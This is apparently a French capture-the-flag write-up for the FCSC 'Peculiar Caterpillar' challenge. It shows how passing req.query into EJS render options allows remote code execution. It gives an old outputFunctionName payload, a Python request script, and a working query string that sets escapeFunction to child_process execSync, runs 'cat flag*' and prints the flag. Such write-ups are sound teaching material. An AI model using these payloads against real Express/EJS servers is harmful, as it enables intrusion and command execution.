Introduction

Alors qu'elle se promenait au Pays des merveilles, Alice tomba sur une chenille étrange. À sa grande surprise, cette dernière se vantait d'avoir construit son propre site web en utilisant Javascript. Bien que le site semblait simple, Alice ne pouvait s'empêcher de se demander s'il était vraiment sécurisé.

Les sources de ce challenge sont fournies :

public
├── docker-compose.yml
├── Dockerfile
└── src
    ├── index.js
    ├── package.json
    ├── views
    │└── index.ejs
    └── yarn.lock

On retrouve 2 choses intéressantes dans ces fichiers:

  • /src/index.js
  • /src/views/index.ejs

Le premier fichier est un serveur codé en nodejs:

require("express")().set("view engine", "ejs").use((req, res) => res.render("index", { name: "World", ...req.query })).listen(3000);

Le second est une template html pour le moteur de template ejs:

...
<body>
    <main>
      <div id="bubble">Hello <%= name %></div>
    </main>
  </body>
...

Première approche du challenge.

Le serveur renvoie notre name passé en paramètre de la requète GET;

res.render("index", { name: "World", ...req.query })

Ainsi nous obtenons la page suivante sur https://peculiar-caterpillar.france-cybersecurity-challenge.fr/?name=vozec:

Alt text

Regardons maintenant comment fonctionne le code de ejs ici

On a à la ligne 415:

exports.render = function (template, d, o) {
  var data = d || utils.createNullProtoObjWherePossible();
  var opts = o || utils.createNullProtoObjWherePossible();

  // No options object -- if there are optiony names
  // in the data, copy them to options
  if (arguments.length == 2) {
    utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA);
  }

  return handleCache(opts, template)(data);
};

D’après l’article de mizu, la fonction createNullProtoObjWherePossible ne semble pas vulnérable à des attaques SSPP sur les nouveaux objets crées.

Alt text

From SSPP to RCE.

Comme expliqué dans ce même article, nous devons nous intéresser à cette fonction qui a pour but de compiler une fonction pour évaluer la template html:

compile: function () {
    /** @type {string} */
    var src;
    /** @type {ClientFunction} */
    var fn;
    var opts = this.opts;
    var prepended = '';
    var appended = '';
    /** @type {EscapeCallback} */
    var escapeFn = opts.escapeFunction;
    /** @type {FunctionConstructor} */
    var ctor;
    /** @type {string} */
    var sanitizedFilename = opts.filename ? JSON.stringify(opts.filename) : 'undefined';

   ...

   if (opts.compileDebug) {
      src = 'var __line = 1' + '\n'
        + '  , __lines = ' + JSON.stringify(this.templateText) + '\n'
        + '  , __filename = ' + sanitizedFilename + ';' + '\n'
        + 'try {' + '\n'
        + this.source
        + '} catch (e) {' + '\n'
        + '  rethrow(e, __lines, __filename, __line, escapeFn);' + '\n'
        + '}' + '\n';
    }
    else {
      src = this.source;
    }

    if (opts.client) {
      src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
      if (opts.compileDebug) {
        src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
      }
    }  
  ...
}

Ce second article nous présente une ancienne méthode pour RCE dans cette fonction. En effet, ce code ci était présent:

prepended +=
    '  var __output = "";\n' +
    '  function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
if (opts.outputFunctionName) {
    prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
}

Il suffisait alors d’injecter dans opts.outputFunctionName ce type de payload pour avoir une rce directe:

var x;process.mainModule.require('child_process').execSync('touch /tmp/pwned');s= __append;

Ce code n’est plus d’actualité mais aujourd’hui nous avons ceci:

if (opts.client) {
  src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
  if (opts.compileDebug) {
    src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
  }
}

Il se trouve que si opts.client est passé à True, notre paramètre escapeFn est placé dans la définition de la fonction escapeFn. Cette fonction étant appelée pour tous nos paramètres. Il serait intéressant de re-définir cette fonction pour qu’elle exécute son premier argument.

Nous devons donc:

  • passer opts.client à true
  • ré-écrire la fonction escapeFn
  • envoyer name qui sera évalué par notre fonction modifiée est qui sera éxecutée comme commande sur le serveur.

J’ai écris ce script pour envoyer efficacement mes paramètres au serveur:

import requests
import html

url = 'https://peculiar-caterpillar.france-cybersecurity-challenge.fr'

def send(param):
    uri = '%s?%s'%(url,param)
    print('[+] Url params:')
    print('\t%s'%(param))
    print('[+] Final url: %s'%(uri))
    r = requests.get(uri).text
    try:
        r = html.unescape(r.split('div id="bubble">')[1].split('</div>')[0])
    except:
        r = html.unescape(r)
    return '\n[+] Result:\n\t%s'%(r)

param = f'''
param1=value1
...
name=vozec
'''[1:-1]

param = '&'.join(param.split('\n'))
print(send(param))

On peut aller chercher l’objet viewOpts en utilisant la clé view options pour modifier la configuration. On va ici remplacer escapeFunction par la fonction execSync présente dans le module child_process. (on ajoute ;// pour commenter le reste de la ligne)

param = f'''
debug=true
settings[view%20options][client]=true
settings[view%20options][escapeFunction]=global.process.mainModule.require('child_process').execSync;//
name=cat flag*
'''[1:-1]

Résultat:

[+] Url params:
    debug=true&settings[view%20options][client]=true&settings[view%20options][escapeFunction]=global.process.mainModule.require('child_process').execSync;//&name=cat flag*
[+] Final url: https://peculiar-caterpillar.france-cybersecurity-challenge.fr?debug=true&settings[view%20options][client]=true&settings[view%20options][escapeFunction]=global.process.mainModule.require('child_process').execSync;//&name=cat flag*

[+] Result:
    Hello FCSC{232448f3783105b36ab9d5f90754417a4f17931b4bdeeb6f301af2db0088cef6}

Alt text

Réferences:

Alt text